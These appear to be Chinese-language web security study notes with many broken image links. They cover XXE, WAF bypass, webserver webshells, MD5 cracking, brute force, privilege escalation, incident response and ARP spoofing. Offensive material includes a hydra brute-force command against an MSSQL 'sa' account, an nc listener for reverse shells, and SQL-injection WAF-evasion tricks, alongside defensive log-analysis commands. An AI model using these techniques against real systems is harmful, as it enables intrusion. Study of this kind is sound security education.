[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eUFcyZt4-1636167956020)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015090716163.png)]

修复:将预定义字符进行转义

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fB4RdSAM-1636167956021)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015090808070.png)]

XXE漏洞修复:

1)禁止使用外部实体,例如libxml_disable_entity_loader(true)

2)过滤用户提交的xml数据,防止出现非法内容。

2.XPath注入

xpath:xml路径语言。xpath基于xml的树状结构,提供在数据结构树中找寻节点的能力。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-crrXJ8Qd-1636167956022)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015091503240.png)]

xpath注入与SQL注入类似。

3.json注入

是一种轻量化的数据交互格式。

4.http parameter pollution

http参数污染(HPP),就是web容器处理http参数的问题。

http参数污染可以绕过一些web应用防火墙

WAF在脚本还未接收到请求之前就开始对数据进行校验,如果未发现恶意代码,则交给脚本去处理,如果发现恶意代码,就进行拦截,不再交给脚本去处理。

十、URL跳转与钓鱼

1.URL跳转

1)客户端跳转

客户端跳转(URL重定向),用户浏览器的地址栏URL会有明显变化,且页面发生了变化。

302重定向

2)服务器跳转

服务器跳转也称URL转发。服务器跳转时,用户浏览的地址栏URL是不会变化的,但页面会发生变化。

2.钓鱼

钓鱼:钓鱼式的攻击。攻击者模拟一些权威的网站或软件,当用户使用这些软件时,攻击者获取用户信息。

URL跳转来绕过恶意检测

URL跳转不可作为URL跳转漏洞,因为URL转发是无法进行域名跳转的,URL跳转漏洞也称为URL重定向漏洞。

js,若网站本身存在xss跨站漏洞,那么也是可以跳转的

十一、webserver 远程部署

1.tomcat

Tomcat安装后,若配置不当,攻击者可轻易获取web程序的webshell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4XamsEaZ-1636167956023)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015101940449.png)]

若存在远程部署功能,必须设定高强度密码。若不使用远程,尽量关闭。

2.Jboss

是一个管理EJB的容器和服务器。

Jboss和tomcat连用时,Tomcat是jboss的一个子集

Jboss在安全上比Tomcat差

默认时,无需输入账户信息就可以登陆后台,也就是说,没有身份认证

修复:将Jboss的jmx-console密码认证打开,或者删除jmx-console

3.weblogic

用于开发、集成、部署、管理大型分布式web应用、网络应用

和数据库应用的java应用程序。

weblogic后台管理存在密码验证策略。密码破解有难度

但老版本存在弱口令[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SvCcp0AO-1636167956025)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015102940928.png)]

十二、实战入侵与防范

1.0day攻击

0day的含义是破解

0day一般指没有公开,没有补丁的漏洞,也就是未公开的漏洞

挖掘0day的方法:

源代码审计(白盒测试):代码审计人员必须了解网站的整体架构,熟读代码,并对一些危险函数要完全了解。

模糊渗透测试(黑盒测试):利用工具进行漏洞扫描,不能完全发现漏洞

源代码审计工具:source navigator、fortify SCA、checkmarx

2.网站后台安全

1)模板

使用模板可以方便更换网站主题风格

WordPress是一个注重美学、易用性和网络标准的个人信息发布平台。

允许对PHP脚本进行编辑,获取webshell

2)文件管理

dedecms提供了强大的在线文件管理模块。

存在在线文件管理的网站很危险,只要攻入后台,网站就沦陷

3)执行SQL语句

若数据库用户权限够大,就可利用SQL语句导出webshell

4)网站备份

通过数据库备份,攻击者可让程序备份出一条webshell

3.MD5

在保存密码到数据的时候不能使用明文密码,一般采用MD5加密后再存储。

MD5加密后的密文是32位,

16位的MD5就是32位MD5中前8到24位的值

破解MD5:

1)彩虹表

是一个庞大的,针对各种可能存在的字母组合预先计算好的哈希值的集合。

安装cain,生成彩虹表

2)MD5站点破解

解密站点:cmd5.com

4.拖库

拖库就是数据库中数据的导出操作

数据导出操作主要分两种:一种是数据库支持外连接,也就是允许客户端网络连接数据库;另一种是不允许外连接,只允许本地操作数据库。

1)支持外连接

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fAxU6QvK-1636167956026)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015110142802.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bpzaFb9A-1636167956027)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015110153716.png)]

2)不支持外连接

常用拖库手段:

(1)SQL注入

(2)越权访问

(3)本地导出

指已经有网站的权限,攻击者上传拖库脚本。

十三、暴力破解测试

暴力破解也称枚举测试,穷举法测试:即将面码一一比较,直到找到真正的密码为止

产生原因:由于服务器端没有做限制

1.C/S架构破解

c/s结构:客户端与服务器结构

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aX0BnmQ2-1636167956029)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015111203320.png)]

1)工具

破解数据库的工具:namp,hydra。。。。

hydra:开源的暴力破解工具。

hydra.exe -l sa -P c:\pass.txt 192.168.1.1.2 mssql

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QVwIPYPW-1636167956030)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015111524266.png)]

2.B/S架构破解

3.暴力破解案例

1)攻击OA系统

(1)通过邮箱搜集

(2)通过错误提示搜集

2)破解验证码

出现场景:密码找回,修改密码

4.防止暴力破解

1)密码的复杂性

2)验证码措施

3)登陆日志(限制用户以及IP登陆次数)

十四、旁注攻击

1.服务器web架构

旁注多发生在中小网站

2.IP逆向查询

通过ip逆向查询查找部署在同一web服务器上的网站。

3.SQL跨库查询

SQL旁注即为跨库查询攻击,是管理员没有分配好数据库用户权限所导致的

越权操作也称跨库操作

修复:权限最小原.即所分配的权限在不干扰程序的运行情况下,分配最小权限。

4.目录越权

每个web程序都会存在于一个单独目录中,各程序互不干扰,独立运行。

但管理员配置不当时,就会发生目录越权

5.构造注入点

渗透网站时怎么利用漏洞获权?

构造注入点,然后利用工具辅助完成后续任务

1.aspx版本

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DAwpyakK-1636167956031)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015140311744.png)]

2.PHP版本

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-p369sAsO-1636167956033)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015140431066.png)]

3.JSP版本

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8NYGFlHz-1636167956034)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015140502185.png)]

构造注入点比较简单,最重要的是得到数据库的账户信息,然后使用脚本连接。

6.CDN

服务器使用CDN后,会隐藏真实IP

CDN:内容分发网络

​ 尽可能避开互联网上影响数据传输速度和稳定性的瓶颈、环节,使内容的传输速度更快、更稳定。

搜集真实IP:

(1)phpinfo()

php中一个显示服务器端的配置信息的函数。其中包含服务器的IP地址。

(2)子域名

通过搜集子域名,利用ping查找真实ip

(3)观察ip变化

通过ip变化,猜想真实IP

toolbar.netcraft.com 查看ip地址变化

十五、代码审计

代码审计:找到应用缺陷的过程

分为:白盒审计、黑盒审计、黑盒审计等

白盒审计:通过对源代码的分析找到应用缺陷

黑盒审计:通常不涉及源代码,多使用模糊测试的方式

灰盒审计:黑白结合的方式

1.常用的概念

1)输入

web应用的输入可以是请求的参数(get、post)、上传的文件、cookie、数据库数据等用户可控或者间接可控的地方

2)处理函数

处理函数是对数据进行过滤或编解码的函数,通常被称为clean/Filter/Sanitizer.这些函数会对输入进行操作或过滤,为漏洞利用带来不确定性。

3)危险函数

又称sink call、漏洞点,是可能触发危险行为如文件操作、命令执行、数据库操作等行为的函数。

PHP中,可能是include/system/echo

2.自动化审计

一般,一个漏洞的触发过程是输入经过过滤到危险函数的过程。 审计就是寻找这个链条的过程。

常见的自动化审计方案有:危险函数匹配、控制流分析

1)危险函数匹配

白盒审计最常见的方式是通过搜寻危险函数与危险参数定位漏洞。

工具:Seay

​ 误报率相当高,(这种方法没有对程序的流程进行深入分析,这种通常是孤立的分析每一个文件,忽略文件之间的复杂的调用关系)

2)控制流分析

引入AST作为分析的依据,在一定程度上减少了误报,但仍存问题

开销大

3)基于图的分析

是对控制流的改进,其利用CFG的特性和图计算的算法

4)代码相似性比对

利用相似的框架

5)灰盒分析

基于运行时的分析方式,对代码进行hook,当执行到危险函数时自动回溯输入,找到输入并判断是否可用。

解决了控制流分析实现复杂,计算路径开销大的问题

3.手工审计流程

获取代码,确定版本,尝试初步分析

​ 找历史漏洞信息

​ 找应用该系统的实例

​ 确定依赖库是否存在漏洞

基于审计工具进行初步分析

了解程序运行流程

​ 文件加载方式
类库依赖 是否加载waf

​ 数据库连接方式
​ mysql/ mysqli/pdo 是否开启预编译

​ 视图渲染
​ xss
​ 模版注入

​ SESSION处理机制

​ 文件
​ 数据库

​ 内存

​ Cache处理机制
文件cache 可能写shell

​ 数据库cache可能注入
​ memcache

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hrSiAWHO-1636167956036)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211016155230657.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0fohpjDV-1636167956037)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211016155248112.png)]

十五、提权

提权:是将服务器的普通用户提升为管理员用户的一种操作。

对服务器提权一般分:溢出提权,第三方组件提权

1.溢出提权

溢出提权:是指攻击者利用系统本身或系统中软件的漏洞来获取root权限。

溢出提权分:远程溢出,本地溢出

远程溢出:指攻击者只需要与服务器建立连接,然后根据系统的漏洞,使用相应的溢出程序,即可获得远程服务器的root权限。

本地溢出:相对远程溢出来说,其成功率更高。本地溢出提权时,攻击者首先需要有服务器一个用户,且需要有执行权限的用户才可能发起提权。攻击者通常会向服务器上传本地溢出程序,在服务器端执行。如果系统存在漏洞,那么将会溢出 root权限。

1)linux提权

(1)查看服务器内核版本。

​ 执行 uname -a 显示内核版本,再根据版本号,查询所对应的本地溢出程序

​ id & uname -a 查看当前用户的ID,所属群组的ID,以及内核号

(2)本地接受服务器端数据

​ 使用NC监听本地端口“8888”,等待服务器反向连接。

​ 执行 nc -l -n -v -p 8888

注:此时攻击者ip必须在外网,否则需要端口转发

(3)服务器端shell(执行命令通道)反弹

(4)服务器反弹shell后,在本地执行一些低权限的命令,此时就相当于连接了服务器的ssh。然后将本地溢出Exp上传到服务器中执行,若服务器存在本地溢出漏洞,将会得到一个类似root权限的ssh连接。

2.Windows提权

重点是看用户是否有执行权限

(1)探测脚本信息

看服务器是否支持ASP、PHP、ASP.NET、JSP

(2)执行简单的系统命令

在ASP脚本语言中,一般必须支持"wscript.shell"组件才可执行命令系统命令。

若服务器支持该组件,一般都支持执行系统命令。但大多数服务器会禁止cmd.exe,仅有执行权限,无法调用cmd,但需要执行的是本地溢出程序

2.第三方组件提权

1)信息搜集

1.服务器支持的脚本语言

2.服务器端口探测

本地扫描:速度快,一般webshell自带端口扫描的功能

在外部:端口工具扫描:nmap -A -p- 192.168.1.2

执行系统命令:查看端口 netstat -an

3.搜集路径信息

2)数据库提权

1.SQL server

该数据库提权一般分为:注入点和得到数据库账户信息

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XvwMp38C-1636167956038)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015151324410.png)]

(1)注入点

利用SQLmap执行cmd工具

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-49FiSokJ-1636167956039)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015150157646.png)]

(2)得到数据库账户信息

若已经取的SA密码,那么提权方式有两种:外部连接,本地连接

前者只要能连接数据库,就可提权(可以是远程),后者只能在服务器端提权(获取服务器某网站的shell)

菜刀:提供数据库管理的功能,只要能执行SQL语句,就可提权

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x66VWdKQ-1636167956040)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015150635054.png)]

2.MySQL提权

MySQL可以

3.DLL劫持

4.服务器防提权措施

给服务器打补丁,及时更新,杀毒软件定时杀毒(包括Web杀毒);

关闭危险端口,如445、135等;

删除System32目录下的敏感EXE文件,如 cmd.exe、net.exe、net1.exe等;

删除不安全的组件,很多组件都可以直接调用系统命令,如:WScript.Shell ,Shell.application;

安装一些服务器安全配置软件,如安全狗、云锁、D盾等软件。

十六、应急响应

应急响应:保护阶段,分析阶段、复现阶段、修复阶段、建议阶段

目的:分析出攻击时间,攻击操作,攻击后果,安全修复等并给出合理解决方案。

必备知识点:

1.熟悉常见的web安全攻击技术

2.熟悉相关日志启用及存储查看等 (查资料)

3.熟悉日志中记录数据分类及分析

1.准备工作:

1)收集目标服务器各类信息

2)部署相关分析软件及平台

3)整理相关安全渗透工具指纹库

4)针对异常表现第一时间触发思路

2.从表现预估入侵及权限进行排查

1)有明确信息网站被入侵

基于时间、基于操作、基于指纹、基于其他

基于指纹:基于工具,工具带有指纹

2)无明确信息网站被入侵

(1)web漏洞-检查源码类别及漏洞情况

(2)中间件漏洞-检查对应版本及漏洞

(3)第三方应用漏洞-检查是否存在漏洞应用

(4)操作系统层面漏洞-检查是否存在系统漏洞

(5)其他安全问题(口令,后门等)-检查相关应用口令及后门扫描

案例分析:windows+IIS+SQL—日志,搜索

IIS7.5

信息搜集

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4ntcPVLG-1636167956041)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211018101304124.png)]

​ 点击IIS查看属性中日志的保存地址,一般默认开启日志

​ 进入相应的日志目录,找对应的文件(文件一般基于时间命名)

​ 日志中包括,访问的IP,获取了什么信息,对方的IP,基于的软件,基于的攻击方式

linux+BT_Nginx+tp5—日志,后门

搜索ngnix的配置文件,nginx.conf。在配置文件中查看日志目录

在日志中,x.php一般是后门,通过对日志中的一些网站访问,查看访问了什么。

​ 宝塔自带目录查杀

360星图–web日志分析引擎 支持面小,支持IIS,Apache,Nginx

splink和ELK 检索攻击流程,蓝队必备日志分析

不同的web平台,日志储存不同,略微差异,分析

fileseek对日志进行查找

分析:人工加工具

3.win&Linux分析后门¥勒索病毒&攻击

1)操作系统应急响应:

​ 常见危害:暴力破解,漏洞利用,流量攻击,木马控制(webshell,PC木马等),病毒感染(挖矿,蠕虫,勒索等)

​ 常见分析:计算机账户,端口,进程,网络,启动,服务,任务,文件等安全问题

2)常见日志类别及存储:

windows,Linux

3)在线病毒扫描网站

腾讯哈勃分析系统

Jotti恶意软件扫描系统

www.virscan.org 多引擎在线病毒扫描

案例:

攻击响应-暴力破解(RDP,SSH)-win,linux

​ windows服务器管理界面 自带分析工具

​ 超级弱口令检查工具

​ linux筛选日志

​ (1)统计日志,确认服务器遭受多少次暴力破解

​ grep -o “Failed password” /var/ log / secure | uniq -c

​ (2)输出登录爆破的第一行和最后一行,确认爆破时间范围
​ grep “Failed password” /var/ log / secure | head -1

​ grep “Failed password” /var/ log / secure |tail -1

​ (3)进一步定位有哪些IP在爆破

​ grep “Failed password” /var/log/secure | grep -E -o "(25[0-5]|2[ 0-4 ] [ 0-9]| [01] ? [ 0-9] [ 0-9] ?) \ . (25[0-5]|2[0-4] [0-9] | [01] ?[0-9] [ 0-9]?) \ . (25[ 0-5] | 2[0-4] [0-9] | [01] ? [0-9] [0-9] ?)\ .(25[0-5] |2[ 0-4] [ 0-9] | [ 01] ? [ 0-9] [ 0-9] ?) " |uniq -c | sort -nr
​ (4)爆破用户名字典都有哪些
​ grep “Failed password” /var/log/secure|perl -e 'while($_=<>){/for ( .* ?) from/; print “$1\n” ; } ’ |uniq -c |sort -nr

​ (5)登录成功的日期、用户名、IP:
​ grep "Accepted " /var/ log / secure | awk '{print $1, 2 , 2, 2, 3,$9,$11} ’

​ grep "Accepted " /var/log/secure | awk ‘{print $11}’ | sort | uniq -c | sort -nr | more

控制响应-后门木马(webshell,pc)-win,Linux

​ windows:默认配置测试

​ cs工具

​ 进程、服务、系统用户名、网络。windows高版本网络信息 获取不全

​ Linux:

4.windows入侵排查

1)检查系统账号安全

(1)查看查看服务器是否有弱口令,远程管理端口是否对公网开放。

  • 检查方法:据实际情况咨询相关服务器管理员

(2)查看服务器是否存在可疑账号、新增账号 cmd----》 lusrmgr.msc查看是否新增账号

(3)查看服务器是否存在隐藏账号、克隆账号 查看注册表,对应账户对应键值

(4)日志

cmd-----eventvwr.msc 事件查看器

导出日志—安全,利用官方LogParser

2)检查异常端口、进程

(1)检查端口连接情况,是否有远程连接、可疑连接

netstat -ano查看网络连接

tasklist | findstr "PID"定位进程

(2)进程

3)检查启动项、计划任务、服务

(1)检查服务器是否有异常的启动项

(2)检查计划任务

cmd中输入at

(3)服务自启动

cmd中services.msc

4)检查系统相关信息

(1)查看系统版本以及补丁信息

cmd中systeminfo

(2)查找可疑目录及文件

检查:

查看用户目录

查看最近打开分析可疑文件

5)自动化查杀

利用安全软件扫描病毒

webshell查杀(D盾/河马)

6)日志分析

5.Linux入侵排查

1)账号安全

用户信息文件 /etc/passwd

影子文件 /etc/shadow

who 当前用户(tty 本地登陆 pts 远程登录)

w 查看系统信息 想知道某一时刻用户的行为

uptime 查看登陆多久、多少用户,负载状态

入侵排查:

1、查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
2、查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
3、除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
4、禁用或删除多余及可疑的帐号
    usermod -L user    禁用帐号,帐号无法登录,/etc/shadow 第二栏为 ! 开头
	userdel user       删除 user 用户
	userdel -r user    将删除 user 用户,并且将 /home 目录下的 user 目录一并删除
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

2)历史命令

通过.bash_history 文件查看账号执行过的系统命令

root用户 history

打开 /home 各帐号目录下的 .bash_history,查看普通帐号执行的历史命令。

历史命令清除 history -c,不会清除保存在文件中的记录,需要手动删除.bash_profile 文件中的记录。

3)检查异常端口

netstat -antlp 查看网络连接信息

pid 查看对应的进程文件路径

4)检查异常进程

ps aux|grep pid

5)检查开机启动项

查看运行级别命令runlevel

6)检查定时任务

crontab 创建计划任务

7)检查服务

chkconfig --list查看自启状态

ps aux |grep crond 查看当前服务

8)检查异常文件

9)检查系统日志

日志默认 /var/log

查看日志配置: more /etc/rsyslog.conf

十六、ARP欺骗

ARP:地址解析协议

作用:在数据发送前将ip地址转换为Mac地址,完成网络地址到物理地址的映射,来保证两台主机能够通信。

1.ARP缓存表

该表保存了这个网络中各主机IP对应的Mac地址,arp缓存表能够有效保证数据传输的一对一特性。

在Windows中,使用 arp -a查看arp缓存表

具有时效性

2.局域网主机通信

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FGiozxFj-1636167956042)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015153159531.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PjK9lUr8-1636167956043)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015153212803.png)]

3.ARP欺骗原理

每台主机都有一个 ARP 缓存表,缓存表中记录了 IP 地址与 MAC 地址的对应关系,而局域网数据传输依靠的是 MAC 地址。在 ARP 缓存表机制存在一个缺陷,就是当请求主机收到 ARP 应答包后,不会去验证自己是否向对方主机发送过 ARP 请求包,就直接把这个返回包中的 IP 地址与 MAC 地址的对应关系保存进 ARP 缓存表中,如果原有相同 IP 对应关系,原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能。

4.防护

1.静态绑定

在主机绑定网关 MAC 与 IP 地址为静态(默认为动态),命令:arp -s 网关 IP 网关 MAC

2.在网关绑定主机 MAC 与 IP 地址

3.使用 ARP 防火墙

一般都可查杀ARP木马,精准追踪攻击源IP,拦截dns欺骗、网关欺骗、IP冲突等

十七、web攻击溯源

溯源发现的手段主要针对日志、流量、样本的分析

攻击者怎么进来的,做了什么

攻击的四个阶段:

(1)信息收集

常用的是防火墙、IDS、WAF日志

(2)针对性入侵

(3)后渗透准备

需要系统运行、网络设备、VPN、IDS日志

(4)横向渗透

十八、基础

1.http(tcp/ip)

超文本传输协议 80端口

三层:http 、 TCP、 IP

是一个客户端与服务器端请求和应答的标准(TCP)

HTTP使用TCP而不是UDP的原因在于打开一个网页必须传送很多数据,而TCP协议提供传输控制、按顺序组织数据和错误纠正。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ofZ4Ox5l-1636167956044)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015165235117.png)]

TCP和UDP的区别:

tcp 面向连接,udp 面向报文

tcp 对系统资源的要求多 udp 结构简单

tcp 保证数据完整性和顺序,udp 不保证

三次握手四次挥手

三次握手

第一次握手:客户端先发送一个带 SYN 标志的数据包给对方。

第二次握手:服务器端收到之后,回传一个带有 SYN/ACK 标志的数据包表示传达确认信息。

第三次握手:最后,客户端再传回一个带 ACK 标志的数据包,表示 “握手” 结束。

四次挥手

四次挥手(Four-Way Wavehand)指断开一个 TCP 连接时,需要客户端和服务端总共发送 4 个包以确认连接的断开。

第一次挥手客户端发送一个 FIN ,用来关闭客户端到服务端的数据传送,客户端进入 FIN_WAIT_1 状态。

第二次挥手服务端收到 FIN 后,发送一个 ACK 给客户端,确认序号为收到序号 +1,服务端进入CLOSE_WAIT 状态。

第三次挥手服务端发送一个 FIN ,用来关闭服务端到客户端的数据传送,服务端进入 LAST_ACK 状态。

第四次挥手客户端收到 FIN 后,客户端进入 TIME_WAIT 状态,接着发送一个 ACK 给服务端,确认序号为收到序号 +1,服务端进入 CLOSED 状态,完成四次挥手。

HTTP简要通信过程

建立连接——>发送请求数据包——>返回响应数据包——>关闭连接

  1. 浏览器建立与 web 服务器之间的连接
  2. 浏览器将请求数据打包(生成请求数据包)并发送到 web 服务器
  3. web 服务器将处理结果打包(生成响应数据包)并发送给浏览器
  4. web 服务器关闭连接

2.https

超文本传输安全协议 443端口

四层,有加密:http 、ssl or TLs 、TCP 、IP

是超文本传输协议+SSL/TLS的组合。 来加密通信和对网络服务器身份的鉴定。

通信使用明文,内容会被窃听

不验证通信方的身份,可能遭遇伪装

无法证明报文的完整性,可能已遭到篡改

修复

加密:通信加密(使用https)和内容加密(http报文中包含的内容加密)

查明对方的证书。ssl不仅可以加密处理,还使用证书手段。 证书是由值得信任的第三方机构颁发,来证明服务器和客户端是真实存在的。 客户端持有证书用于个人身份的认证确认,和web网站的认证环节

可使用MD5和SHA-1等散列值校验,以及用数字签名(PGP签名)对内容加密。也不能完全保证安全。。。

HTTPS 的工作流程

首先是客户端向服务器端发起一个 HTTPS 请求。

服务器端返回公钥证书给客户端。

客户端收到公钥证书后,用证书的公钥验证数字签名,以确认服务器的公钥的真实性。

客户端用随机数生成器生成临时的会话密钥,然后用服务器的公钥对该会话密钥进行加密,发送给服务器端。

服务器收到后,用自己的密钥对会话密钥解密。

之后客户端和服务器端就开始了 HTTPS 通信。

3.URI

URI是用于标识某一互联网资源名称的字符串。

允许用户对互联网中的资源通过特定的协议进行交互操作,包括语法和相关协议的定义

1)URL

统一资源定位器,也称网页地址。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SylbrmeM-1636167956045)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015164016453.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-17OTtCuh-1636167956046)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211015164030042.png)]

4.http消息

HTTP 消息由从客户到服务器的请求和从服务器到客户的回答组成。

1)http方法

GET:获取服务器资源。

POST:提交信息给服务器

PUT:传输文件。

HEAD:和 GET 方法一样。但是只返回响应头部。作用是确定 URL 的有效性和资源更新的时间。

DELETE:删除指定的资源。

OPTIONS:查询请求服务器指定的资源所支持的方法。

TRACE:用来确认连接过程中发生的一些操作。

CONNECT:建立连接渠道,用于代理服务器。

2)HTTP状态码

1xx 信息,请求收到,继续处理

2xx 成功,行为被成功地接受、理解和采纳

3xx 重定向,为了完成请求,必须进一步执行的操作

4xx 客户端错误

5xx 服务器错误

200存在文件

403存在文件夹

3xx 均可能存在

404 不存在文件及文件夹

500 均有可能

5.http cookie

cookie

Cookie 是一些数据, 存储于你电脑上的文本文件中。

当 web 服务器向浏览器发送 web 页面时,在连接关闭后,服务端不会记录用户的信息。

Cookie 的作用就是用于解决 “如何记录客户端的用户信息”:

当用户访问 web 页面时,他的名字可以记录在 cookie 中。 在用户下一次访问该页面时,可以在 cookie 中读取用户访问记录

Session

Cookie通过在客户端记录信息确定用户身份Session通过在服务器端记录信息确定用户身份

客户端浏览器访问服务器的时候,服务器把客户端信息以某种形式记录在服务器上。这就是Session。客户端浏览器再次访问时只需要从该Session中查找该客户的状态就可以了。

Cookie是用来跟踪会话

*cookie和session的区别*

**1.**cookie数据存放在客户的浏览器上,session数据放在服务器上.

**2.**cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗考虑到安全应当使用session。

****3、****设置cookie时间可以使cookie过期。但是使用session-destory(),我们将会销毁会话。

4、session会在一定时间内保存在服务器上。当访问增多,会比较占用你服务器的性能考虑到减轻服务器性能方面,应当使用cookie。

5、单个cookie保存的数据不能超过4K,很多浏览器都限制一个站点最多保存20个cookie。(Session对象没有对存储的数据量的限制,其中可以保存更为复杂的数据类型)

6.owasp top10

1)注入;

2)失效的身份认证;

3)敏感信息泄露;

4)XML 外部实体(XXE);

5)失效的访问控制;

6)安全配置错误;

7)跨站脚本(XSS);

8)不安全的反序列化;

9)使用含有已知漏洞的组件;

10)不足的日志记录和监控。

十九、WAF

web应用防火墙是通过执行一系列针对http/https的安全策略来专门为web应用提供保护的一款产品

1.WAF分类

1.软件型WAF
以软件形式装在所保护的服务器上的WAF,由于安装在服务器上,所以可以接触到服务器上的文件,直接检测服务器上是否存在WebShell、是否有文件被创建等。

⒉.硬件型WAF
以硬件形式部署在链路中,支持多种部署方式,当串联到链路中时可以拦截恶意流量,在旁路监听模式时只记录攻击不进行拦截。

3.云WAF
一般以反向代理的形式工作,通过配置NS记录或CNAME记录,使对网站的请求报文优先经过WAF主机,经过WAF主机过滤后,将认为无害的请求报文再发送给实际网站服务器进行请求,可以说是带防护功能的CDN。

4.网站系统内置的WAF
网站系统内置的WAF也可以说是网站系统中内置的过滤,直接镶嵌在代码中,相对来说自由度高,一般有以下这几种情况。
●输入参数强制类型转换(intval等)。
●输入参数合法性检测。
●关键函数执行(SQL执行、页面显示、命令执行等)前,对经过代码流程的输入进行检测。
对输入的数据进行替换过滤后再继续执行代码流程(转义/替换掉特殊字符等)。
网站系统内置的WAF与业务更加契合,在对安全与业务都比较了解的情况下,可以更少地收到误报与漏报。

2.WAF判断

1)SQLmap

使用其自带waf识别模块可识别waf种类,若所安waf并无特征sqlmap就只能识别出类型Generic

sqlmap.py -u “ip” --identify-waf–batch

2)手工判断

直接在相应网站的URL后加上最基础的测试语句,比如 union select 1,2,3%23(选取不存在的值),若触发waf防护(页面显示无法正常运行。。。),则存在waf

被拦截的表现为(增加了无影响的测试语句后):页面无法访问、响应码不同、返回与正常请求页面不同的结果

3.WAF绕过

1)大小写混合

2)URL编码

普通编码

二次编码 waf只进行一次解码

3)替换关键字

waf采用替换或者删除select/union这类敏感词时,若只匹配一次则容易绕过。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MZqrA1vt-1636167956047)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211016083126892.png)]

4)使用注释

绕过waf时使用(/* 任意内容 */)替代空格。

适用于检测过程中没有识别注释或替换掉了注释的WAF

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HjDGj6DW-1636167956049)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211016083520249.png)]

5)多参数请求拆分

多个参数拼接同一条SQL语句中,可将注入语句分割拆分

6)http参数污染

http参数污染:指同一参数出现多次,不同中间件会解析为不同的结果。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4tx4PoRS-1636167956050)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211016083933515.png)]

IIS

直接分割带逗号的SQL语句

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cLrxpd37-1636167956051)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211016084337174.png)]

其余中间件

若waf只检测同参数的第一个或最后一个,并且中间件特性正好取与waf相反的参数,则可成功绕过

7)生僻函数

使用生僻的函数代替常见的函数

8)寻找网站源站IP

对于云waf防护而言,只要找到网站真实IP,然后通过IP访问就可绕过云waf。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tUbge4av-1636167956053)(C:\Users\huashuo\AppData\Roaming\Typora\typora-user-images\image-20211016084712976.png)]

9)注入参数到cookie中

waf只检测get/post,不检测cookie

二十、常识

1.3389端口

3389端口是windows远程桌面的服务端口,可以用远程桌面等工具来连接远程的服务器

为什么3389端口开放却连不上?

​ 有防火墙, 把终端端口转发到其他端口就可以连接

​ tcp/ip端口限制, 取消端口限制

2.渗透流程

